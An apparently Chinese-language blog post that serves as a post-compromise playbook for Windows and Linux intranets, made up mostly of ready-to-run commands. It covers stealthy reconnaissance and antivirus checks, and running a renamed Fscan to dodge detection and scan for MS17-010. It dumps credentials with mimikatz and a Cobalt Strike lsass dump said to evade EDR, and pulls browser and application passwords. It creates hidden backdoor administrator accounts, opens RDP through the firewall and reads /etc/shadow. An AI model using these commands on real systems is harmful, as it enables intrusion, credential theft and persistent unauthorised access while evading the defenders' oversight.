Windows 主机相关信息收集
总述
本文总结了内网信息收集打点过程当中的所有 常规手法 以及 基本流程。
神
我们可以收集的信息非常非常多,但是我们肯定要有意识、有选择取舍的去快速收集平常下 关键有用的信息,以下便是总结。
信息收集完了以后我们可以得到:
1. 内网的网络拓扑图。
2. 内网其他的存活主机目标 以及 相关服务的主机。
3.
Windows
一、网络拓扑
1. 网段信息
通过当前主机的相关 信息收集 来逐步测绘出 目标企业 内网的一个 网段 的 拓扑图,并且帮我们指明当前主机可攻击的方向。
1)主机网卡
快速测绘当前主机的 本地网络信息 以及 网卡信息(涉及几个网卡几个网段)
ipconfig

2)路由表信息
指明了针对不同的网段 CIDR 对应的路径 网关,存储了相关路由的就说明有对应的网段么。
网关为 - 在链路上 意思为 主机在这些网段上,与这个网段上的其他主机进行通信时无需额外经过网关。
route print

2. 内网其他 主机 发现
仅通过系统自带的相关 命令 及 功能 进行 信息收集 收集 其他主机 的 内网IP 信息,帮我们锁定目标。
1)ARP缓存信息
查看本机存储的相关的 arp 缓存表。
arp -a

2)DNS 缓存查询
查看内网的 DNS 服务器,并且很多时候通过内网的 DNS 服务器还能判断当前主机是否在 域 环境当中,以及如果是的话,通过查询 DNS 服务器的方式,顺便直接定位 域控的名称 和 域控ip 了。
ipconfig /displaydns


3)本地 Host 文件
很多时候其实都忘了查看本地的 hosts 文件了,这个文件也是非常重要的,有时候包含了非常多的信息。
type C:\Windows\System32\drivers\etc\hosts

3. 服务发现
通过查询开启的相关服务,来帮我们 快速锁定目标 并 帮我们快速扩大危害,比如提权、获取更多的敏感数据信息等。
因为一般我们服务器的权限都拿下了,服务器上的这些服务那基本上都是 手拿把掐 呀,可以通过本地的相关服务帮我们获取更多敏感信息,而且很多服务是连接到内网其他主机上的,我们可以利用当前主机进行快速横向拿下其他相关联服务的 服务主机。
1)端口分析
通过开启的端口 来 分析对应开启的 相关服务。
netstat -ano

2)进程分析
通过开启的进程名判断是否有相关可利用的 相关服务 或 应用进程。
即时通讯软件:
QQ、微信、钉钉 等 是否存在,我们可以进一步利用。
钓鱼其他内网用户主机。
tasklist /svc
/svc 是一个整体参数,其中的 "s"、"v"、"c" 并不单独拆分为单独的参数含义,而是组合起来表示 "Services"(服务)相关的功能。

3)服务查询
通过 services.msc 图形界面查看服务列表,或执行命令 sc query | findstr /i "apache|nginx|iis|httpd",若存在 Apache2.4、Nginx、World Wide Web Publishing Service(IIS 服务)等服务且状态为 RUNNING,则说明 Web 服务已启动。
以下的命令是查询 服务 当中的 相关 Web 服务的中间件,如果不是以服务的形势启动的,那当然就无法查询到了
sc query | findstr /i "apache|nginx|iis|httpd|mysql|sqlservr"

4)AV 防护杀毒
不用多说,我们知道主机受到哪些 杀毒软件、防病毒 的保护,我们才能针对性的做相关的免杀等操作(可在本地测试,过了相关的设备再在 shell 上执行)
以下的这个 WMIC 的语句来实现操作就狠隐蔽,不会引起 HIDS 或 EDR 等安全设备的告警:
载体合法:依赖系统原生的 wmic.exe,属于可信进程,规避基础进程拦截(如果设置告警就会存在大量的误报);
行为低危:仅执行读取操作,无高危行为,避开安全设备对高风险操作的重点监控;
接口正规:通过 WMI 合法接口查询系统信息,符合系统设计逻辑,难以与正常管理操作区分。
wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName,productState,pathToSignedProductExe | findstr /V /B /C:displayName || echo No Antivirus installed
- \\root\SecurityCenter2:这是 Windows 系统预留的 WMI 命名空间,专门用于存储与系统安全中心相关的信息(适用于 Windows Vista 及以上系统)。
- AntiVirusProduct:该命名空间下的一个特定类,其作用就是记录当前系统中已安装的反病毒软件(包括杀毒软件、端点安全工具等)的信息。
这个类是微软官方定义的,所有正规安全软件(如 360 安全卫士、卡巴斯基、Windows Defender 等)在安装时,都会主动向 AntiVirusProduct 类注册自身信息(如名称、状态、路径等),以便系统安全中心(如 Windows Defender 安全中心)能够识别和管理这些软件。

二、敏感文件
1)Web 服务 - 配置文件
通过我们上述的方法,通过查询本地主机开放的 端口、进程(apache、Nginx) 等方法可以推断出当前主机当中存在相关的 Web 服务。
判断出当前主机存在相关的 Web 服务的话,我们就可以去翻相关的 Web 服务的目录文件夹,去查找其当中相关的配置文件:
1. 可以去搜集相关的 密码信息(若非弱口令、默认密码、无规则密码 而是 有规则可记忆不反人类 的 密码 的话),然后可以尝试进行内网其他主机的登陆测试。
2. Web 服务通常会对 数据库 进行相关的 读写 等 交互操作,这种操作需要配置数据库相关的凭据的,可以在 Web 服务的配置文件当中找寻相关 数据库服务 的 凭据或账户密码 等信息,方便我们快速横向 数据库服务主机。



本地是 0.0.0.0:1433,数据库服务开在了本地,其他情况可能开在别的主机上,但是这个时候我们依然可以去以 数据库为落点 上线 Shell,再通过数据库服务 进行相关的提权操作。
连接 SQLServer 服务。

利用 SQLServer 服务 实现提权

上线 Beacon

2)文档信息
通过查询各个盘符下的 .xlsx、 .pdf、 .docx 文件来快速找寻相关的敏感信息文件。
当然除了 C盘 肯定还有很多其他别的盘符,要全部都一一列举出来。
.xls 会把 .xlsx、.xlsb 等其他转换的格式文件也都列举出来。
# 查看当前主机都存在哪些盘符
wmic logicaldisk get caption
dir /a /s /b C:\*.xls > C:\Windows\Temp\file.txt
dir /a /s /b C:\*.pdf >> C:\Windows\Temp\file.txt
dir /a /s /b C:\*.doc >> C:\Windows\Temp\file.txt
# 查看 file.txt 文件
type C:\Windows\Temp\file.txt
/a:显示所有属性的文件和目录,包括隐藏文件、系统文件等(默认情况下这些文件不会显示)。
可以理解为 "all"(全部)的缩写,会列出所有类型属性的项目。
/s:递归搜索指定目录及其所有子目录中的文件。
这里搜索范围是 C:\,加上 /s 后会遍历整个 C 盘的所有子文件夹,查找符合条件的文件。
/b:以 “bare format”(精简格式)显示结果,只输出文件名(包括完整路径),不显示额外信息(如大小、日期、摘要等)。
适合在脚本中使用,方便后续处理结果。



3)微信文件
微信这种 即时通讯 软件 传输的文件也非常重要具有参考价值,往往会泄露很多的敏感信息。
dir /s /b C:\"WeChat Files"


三、工具 - 针对 其他主机 信息收集
1)工具
# Fscan
https://github.com/shadow1ng/fscan
# Kscan
https://github.com/lcvvvv/kscan
# dismap
https://github.com/zhzyker/dismap
原则
0. 工具分工合作,根据工具自身的优势专项的 仔细使用。
1. 安静
2. 不被发现
3. 尽量用正常的协议
4. 尽量用改造过的⼯具
dismap:
Web 资产扫的很好,也会带一些漏洞利用、指纹提取、协议、端口 等等。最常用于扫 Web。
Fscan:
扫服务、端口、一些普通的漏洞,但是我们 Fscan 都是二开的并且会很仔细的去用它,而不是一上来就当作默认的方式。
Kscan:
在内网当中去找存活,找完存活就不用了。
此处以 Fscan 进行相关的举例:
1. 根据不同的需求定向的使用命令进行操作的实现,而不是直接无脑的全扫,否则会让安全设备大量的告警,一下就被发现了。
2. 进行了二开,文件名肯定不为 fscan,而是改为正常的这种文件名进行掩盖,并且相关的选项也进行了修改,避免相关的 命令正则匹配检测,一下就被抓到了。
3. 禁 ping。
1)主机发现(存活探测)
mysql.exe -i 192.168.3.0/24 -np -m netbios

2)定向扫描 MS17-010 漏洞
mysql.exe -i 192.168.3.0/24 -np -m ms17010

3)特殊端口资产扫描
mysql.exe -i 192.168.3.0/24 -np -p 22,2222,3389,5900,1433,3066,1521,5432,6379

4)其他主机标签识别
这个命令的作用是:快速扫描 192.168.3.0/24 网段内的存活主机和开放端口等基础资产信息(不进行漏洞检测和密码爆破),并将结果保存到 res.txt 文件中。适合用于内网资产的初步探测。
mysql.exe -i 192.168.3.0/24 -np -nobr -nopoc -o res.txt
-np:禁用 ping 探测(不使用 ICMP 协议检测主机是否存活)。
-nobr:禁用爆破功能(不尝试对主机的账号密码进行暴力破解)。
-nopoc:禁用 POC 检测(不检测系统或应用程序的漏洞利用 POC)。
-o res.txt:将扫描结果输出到 res.txt 文件中。

2)Cobalt Strike
1)梼杌


SharpOXID-Find 是用 .NET (通常是 .NET Framework 4.x) 编写的。
环境不正确。
| Windows Server 2008 R2 | .NET Framework 3.0 |

2)mingy-Qiao

Ladon


SharpWebScan

环境不正确。
| Windows Server 2008 R2 | .NET Framework 3.0 |

Fscan




3)神龙拉冬

Ladon




四、密码凭据收集
1. 主机密码
1)logonpasswords
针对的进程为 winlogon.exe,这个进程是用户认证的界面,提供的是明文的 账户 及 密码。
logonpasswords
mimikatz.exe - privilege::debug - sekurlsa::logonpasswords

2)hashdump
hashdump

3)巨龙拉冬 - lsass
上面的两种方式 如果内网主机当中有杀软,很容易被拦,这个时候
Cobalt Strike - 巨龙拉冬 - 5 本机密码读取 - 8 Dump Lsass 密码
dump 的是 lsass 进程的 hash。读取 dump 的是 lsass 进程的内存当中的数据,不会被杀软拦截,不会被 EDR 检测到的,因为用到的是内存加载的方式。
用插件的这个功能会 dump 下来一个文件,把这个文件下载下来在本地再去解开。
# CS 导出记录了 NTLM Hash 值的文件
Cobalt Strike - 巨龙拉冬 - 5 本机密码读取 - 8 Dump Lsass 密码
# 把生成的二进制 .bin 文件下载保存到本地
download xxx()
# 把下载的 .bin 文件重命名为 .gz 文件的后缀名。并把其中的文件导出,并重命名为 .dmp。
mv xxx.bin xxx.gz
unzip xxx.gz
mv xxx xxx.dmp
# 解密文件
mimikatz.exe
sekurlsa::minidump debug536.dmp
sekurlsa::logonPasswords full


2. 浏览器密码
https://github.com/QAX-A-Team/BrowserGhost - ATeam
https://github.com/moonD4rk/HackBrowserData - 牛逼!
1)BrowserGhost
BrowserGhost.exe
很久没更新了,Chrome 现在最新版本无法获取账户密码。

2)HackBrowserData
hack-browser-data.exe -h
hack-browser-data.exe


3)应用程序密码凭据
1. RDP
2. MySql
3. SharpDecryptPwd
1. Navicat
2. TeamViewer
3. FileZilla
4. WinSCP
5. XMangager 系列产品(如 Xshell, Xftp)
1)RDP
手动解密
2)Mysql
用十六进制编辑器打开 user.MYD 文件,使用二进制模式查看,即可得到密码 Hash 值:
81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

3)SharpDecryptPwd
# 帮助 - 查看可以 dump 的应用程序(服务)
SharpDecryptPwd.exe
SharpDecryptPwd.exe 要dump的应用程序(服务)
SharpDecryptPwd.exe Navicat

4)文档密码
这些 xlsx 文档当中经常性的记录了相关的账号密码...
dir /a /s /b c:\*.xls
dir /a /s /b c:\*.doc
dir /a /s /b c:\*.pdf

五、用户信息
1)当前用户
whoami
# 查看当前用户的详细信息
whoami /all
# 查看当前用户的特权信息
whoami /priv


2)在线用户
# 查看当前主机上的所有用户
net user
quser
query user

3)激活用户
1)激活 Guest
通过激活 Guest 并加入 管理员组,实现权限维持。
net user guest /active:yes
net user guest 1qaz@PASS
net localgroup administrators guest /add
net localgroup administrators



2)激活 administrator
net user administrator /active:yes
net user administrator 1qaz@PASS

4)创建后门账户
net user test1$ 1qaz@PASS /add
net localgroup administrators test1$ /add
net localgroup administrators



六、RDP 相关操作

1)查看RDP端⼝
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

2)开放RDP服务
reg add "HKLM\SYSTEM\CurrentControlSet\control\Terminal Server" /v fDenyTSConnections /d 0 /t REG_DWORD /f

3)开放RDP端⼝
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

Linux
1. 用户信息
1)当前用户
whoami

2)在线用户
w
who

登录状况
# 当前主机所有用户上次登录时间
lastlog
# 所有登录日志
last
# 仅查看登录失败的日志
lastb

2. 网络拓扑
主机网卡
ip a
ip addr
ifconfig

3. 内网 其他主机 发现
1)ARP 缓存信息
arp -a

2)本地 Host 文件
cat /etc/hosts

4. 服务发现
1)端口分析
ss -anltup
netstat -anltup


2)进程分析
ps -ef
ps -aux

5. 主机信息
# 打印可用的系统信息
uname -a
# 打印系统内核版本
uname -r
# 打印系统主机名
uname -n
# 打印系统内核架构 (64bit / 32bit)
uname -m
# 系统主机名
hostname
# 发行版信息
lsb_release -a
# 内核版本
cat /proc/version

6. 敏感信息
1)用户相关敏感文件
cat /etc/passwd
cat /etc/shadow
cat /etc/group



2)计划任务
运维人员喜欢把自己用的相关脚本文件写到计划任务当中,脚本当中又包含了很多的敏感信息。
crontab -l
cat /var/spool/cron/*
cat /etc/cron*
/etc/cron.d
/etc/cron.hourly
/etc/cron.daily
/etc/cron.weekly
/etc/cron.monthly
/etc/cron.yearly
/etc/crontab

3)历史命令
history
cat /root/.bash_history


4)Web 服务 - 敏感文件
可能 Web 服务是 Docker 搭建的,那么就要进入 Docker 容器当中去查看这些 Web 路径下的文件。
docker exec -it [docker_container_id]/[docker_container_name] /bin/bash
1)Web 中间件路径
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/usr/lib/php.ini
/etc/nginx/nginx.conf
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/Zend/etc/php.ini
/var/apache2/config.inc
/var/httpd/conf/httpd.conf
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/www/conf/httpd.conf
/web/conf/php.ini
/www/conf/httpd.conf
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
2)数据库路径
/etc/init.d/mysql
/etc/my.cnf
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/share/mysql/my.cnf

版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
QiaoShen-World!
喜欢就支持一下吧